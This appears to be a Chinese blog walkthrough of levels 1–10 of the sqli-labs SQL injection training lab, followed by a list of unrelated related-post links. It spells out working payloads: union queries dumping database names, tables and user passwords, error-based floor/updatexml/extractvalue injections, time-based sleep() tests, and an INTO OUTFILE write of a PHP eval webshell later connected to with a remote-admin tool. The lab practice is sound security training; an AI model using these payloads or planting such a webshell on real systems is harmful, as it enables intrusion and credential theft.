如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。
另外-- (这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。
第一关
1.经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询
2.接着尝试在id后面加上',发现页面回显不正常,表示可能存在SQL字符注入
3.输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
4.接着使用order by 语句判断,该表中一共有几列数据
order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。
5.将id=1改为一个数据库不存在的id值,如861,使用union select 1,2,3联合查询语句查看页面是否有显示位。
发现页面先输出了2和3,说明页面有2个显示位
6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
例子:
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
这是一个查询数据库名信息的语句
查询security内的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
接着使用下面的语句爆破出列名
select group_concat(column_name) from information_schema.columns where table_name='users'
接着使用如下语句查询所有的用户名,密码
lesect group_concat(password) from security.users
lesect group_concat(username) from security.users
第二关、
1.输入?id=2-1页面信息发生变化,说明此处是数值型注入
2.order by 3  页面显示正常,order by 4页面显示不正常,所以该表有3列数据
接着可以使用联合查询进行注入,详细过程参考第一关
第三关、
1.向页面输入?id=2'  --+页面显示不正常,
但是输入  ?id=2') --+ 页面回显正常,说明此处是字符型注入,而且是以 ('')的方式闭合字符串的
2.接着使用order by 判断表中有3列数据
3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位   答案:有
下面使用第一关所使用的查询语句,测试一下
页面显示没有问题
第四关、
与第三关类似,第四关使用   ("")   的方式闭合字符串,然后可以优先使用联合查询注入
1.当输入?id=3" --+时,页面显示不正常
2.当输入?id=3") --+
第五关、
1.经错测试发现,当输入?id=3时页面显示正常,具体如下

当输入?id=486页面显示如下
说明页面没有显示位。无法使用联合查询注入
2.接着我们尝试在URL中输入  ?id=2' 页面出现错误语句如下
页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
首先介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
3.在这里我们使用floor报错语句进行注入
?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
接着我们运用如下语句:
and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
需要注意的是,此时数据库名并不是 information_schema1
这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)
为了防止某些时候,我们误以为这个1也是我们查询结果的一部分,我建议大家使用一个;与它分开,语句如下:
?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示
第六关、
与第5关类似,只不过这一关使用的是  ""的方式闭合字符串
我们只需要将?id=2' 改为 ?id=2"即可
其余过程不再赘述,请参考第五关
第七关、
想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
1.我们正常输入?id=1页面回显如下
2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
3.当我们输入?id=1'页面报错,说明可能存在"注入
4..当我们输入?id=1' --+页面显示依然不正常
5.接着我们尝试?id=1') --+,页面依然显示不正常,有点难受,不过没关系
6.我们可以接着输入?id=5'))  --+尝试,发现页面回显正常
7. 由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好
C:\phpStudy\PHPTutorial\MySQL\data
然后使用union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 尝试写入文件。
然后去本机文件夹下查看文件是否写入成功。
写入成功了,但是文件名变成了如图红色表示的那样!!
接着我进行了好多次尝试,最后被同学告知,需要使用\\来代替目录中的\ ,具体原因我也不知道,后续会补上。  命令如下:
union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"
文件导入成功!,接着我们查看chao.php的内容
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
我们再尝试上传一句话木马,具体命令
?id=-1'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+
接着试着访问一下这个文件
上传成功,使用菜刀链接下
连接成功!!!!
第八关、
1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+
上传成功
当然我尝试下了下布尔和时间盲注,都是可以的
第九关、
这里我们尝试使用单引号和双引号闭合,发现页面回显一直正常,说明该关卡可能将我们的单双引号给退意了。
但是我输入%df之后页面回显依然正常,这个时候我觉得应该是无论我输入什么页面回显都是一样的。所以我尝试使用sleep()函数来测试
经过多次尝试,这里是单引号闭合的时间注入
' and sleep(5)
第十关、
基于双引号的时间注入
?id=2" and sleep(5) --+
这里我就不在一个一个字母的去测试了,大家了解一下时间盲注就好

sqli-labs闯关指南 1—10相关推荐

  1. 光棍节程序员闯关秀(总共10关)

    程序员闯关大挑战: https://1111.segmentfault.com/ 仓鼠演示7k7k.4399小游戏: http://cdn.abowman.com/widgets/hamster/ha ...

  2. sqli-labs Less-38、39、40、41、42、43、44、45(sqli-labs闯关指南 38、39、40、41、42、43、44、45)—堆叠注入

    目录 Less-38 Less-39 Less-40 Less-41 Less-42 Less-43 Less-44 Less-45 关于堆叠注入的简介前面已经介绍过了,可以参考:第三部分/page- ...

  3. 《光棍节程序员闯关秀》闯关攻略

              https://1111.segmentfault.com<光棍节程序员闯关秀>        程序员们,欢迎来攻!!! 在之前的基础上,重新整理了一遍,之前才闯到第8 ...

  4. sql-labs闯关32~37

    sql-labs闯关32~37: 诚信自由平等友善平等自由爱国法治诚信自由平等友善自由友善法治诚信富强公正 复习笔记1 内容: sql-labs第32关(GET请求-Bypass custom fil ...

  5. 【SSL_2020.10.27】小biu闯关

    小biu~闯关 蛶磃糹樐(解题思路) 首先,我们要知道一个东西: [ A , B ] ⟹ [ 2 A , 2 B ] ⟹ [ K A , K B ] [A,B] \implies [2A,2B] \i ...

  6. sqli-labs闯关记录(1~65关)

    sql漏洞闯关记录笔记(1~15) 1.基本知识 首先我们先了解SQL注入是什么: SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一,其实就是恶意用户通过在可提交 ...

  7. 熟悉linux指令游戏,Linux指令初探之闯关游戏Bandit(上)

    开学季,Evan会带领小萌新们一点点接触安全领域,今天要给大家讲的是和Linux有关的一款游戏Bandit,通过Bandit你会学到Linux的一些基础指令,这对今后的学习有很大的帮助,准备好了吗让我 ...

  8. 红包规则_“科普闯关100%夺红包”游戏规则升级了!速速来看!

    戳上方蓝色字"百万公众网络学习工程"关注我们哟! "科普闯关100%夺红包"游戏启动以来参与人次已经突破百万.细心的你有没有发现,"红包城" ...

  9. Cheat Engine Tutorial 闯关手记

    Cheat Engine Tutorial 闯关手记 第一关 Cheat Engine 能做什么?修改游戏的数值,就象<金山游侠V>,但它能胜任动态地址的查找:制作游戏专用的修改器,补丁, ...

  10. 计算机游戏88关,天天象棋88关怎么过 闯关模式第88关图文攻略

    天天象棋88关怎么过?闯关模式第88关图文攻略.天天象棋闯关模式第88关怎么过?天天象棋是一款上线的全新休闲类手游,这是一款玩家对战的象棋游戏,对于广大棋类游戏爱好者来说,绝对是很值得玩一玩的,游戏的 ...

最新文章

  1. Python实现列表去重的⽅法
  2. 嵌入式Linux USB驱动开发之教你一步步编写USB驱动程序
  3. Android_内存泄露
  4. rlwrap解决sqlplus上下键和backspace键找历史命令
  5. 七步从Angular.JS菜鸟到专家(1):如何开始
  6. 前n个正整数相乘的时间复杂度为_初一数学常考的21个知识点,掌握好,轻松110+!...
  7. c++ 打印条码_条码标签打印软件快捷键指南
  8. VUE依赖ol版本问题:geotiff.js Unexpected token
  9. ADVHAT: REAL-WORLD ADVERSARIAL ATTACK ON ARCFACE FACE ID SYSTEM 笔记
  10. 深度学习实战之车牌识别项目
  11. html+css 登录界面
  12. win10鼎信诺为什么安装不了_两个方法教你彻底解决win10系统更新补丁安装失败的问题-系统操作与应用 -亦是美网络...
  13. 英语在线听力翻译器_英语听力翻译app下载-英语听力翻译软件下载v1.1.3 安卓版-2265安卓网...
  14. Python中利用正则表达式做数据清洗(re)
  15. 阿里云ECS服务器配置怎么选?
  16. python 遍历列表中的每个元素 for循环 while循环 迭代器
  17. 秒懂Android属性动画
  18. shopee引流方式有哪些,商家如何为自己店铺做引流?
  19. java 新浪 发送邮件_使用javamail新浪郵箱發送遇到的問題(已解決)
  20. 雅虎面临大幅裁员 每个员工创造的营收不到Facebook的三分之一

热门文章

  1. 又一个程序猿的奋斗史——第二章 实习
  2. 干货,值得收藏!Python 操作 Excel 报表自动化指南!
  3. python turtle 画蜡笔小新_蜡笔小新有几集?作者到底怎么死的啊?
  4. 百度地图和百度导航冲突问题
  5. 记2017莫名其妙的美团校招安卓岗
  6. java orb 是什么_什么是ORB
  7. ※设计模式※→☆创建型模式☆============Builder模式(五)
  8. mysql计算个税_2019年个人所得税计算函数
  9. 如何预防计算机专业的危害,程序员一族该如何预防“电脑病”?这份健康指南来帮你!...
  10. [树形dp][组合数] JZOJ P1794 保镖排队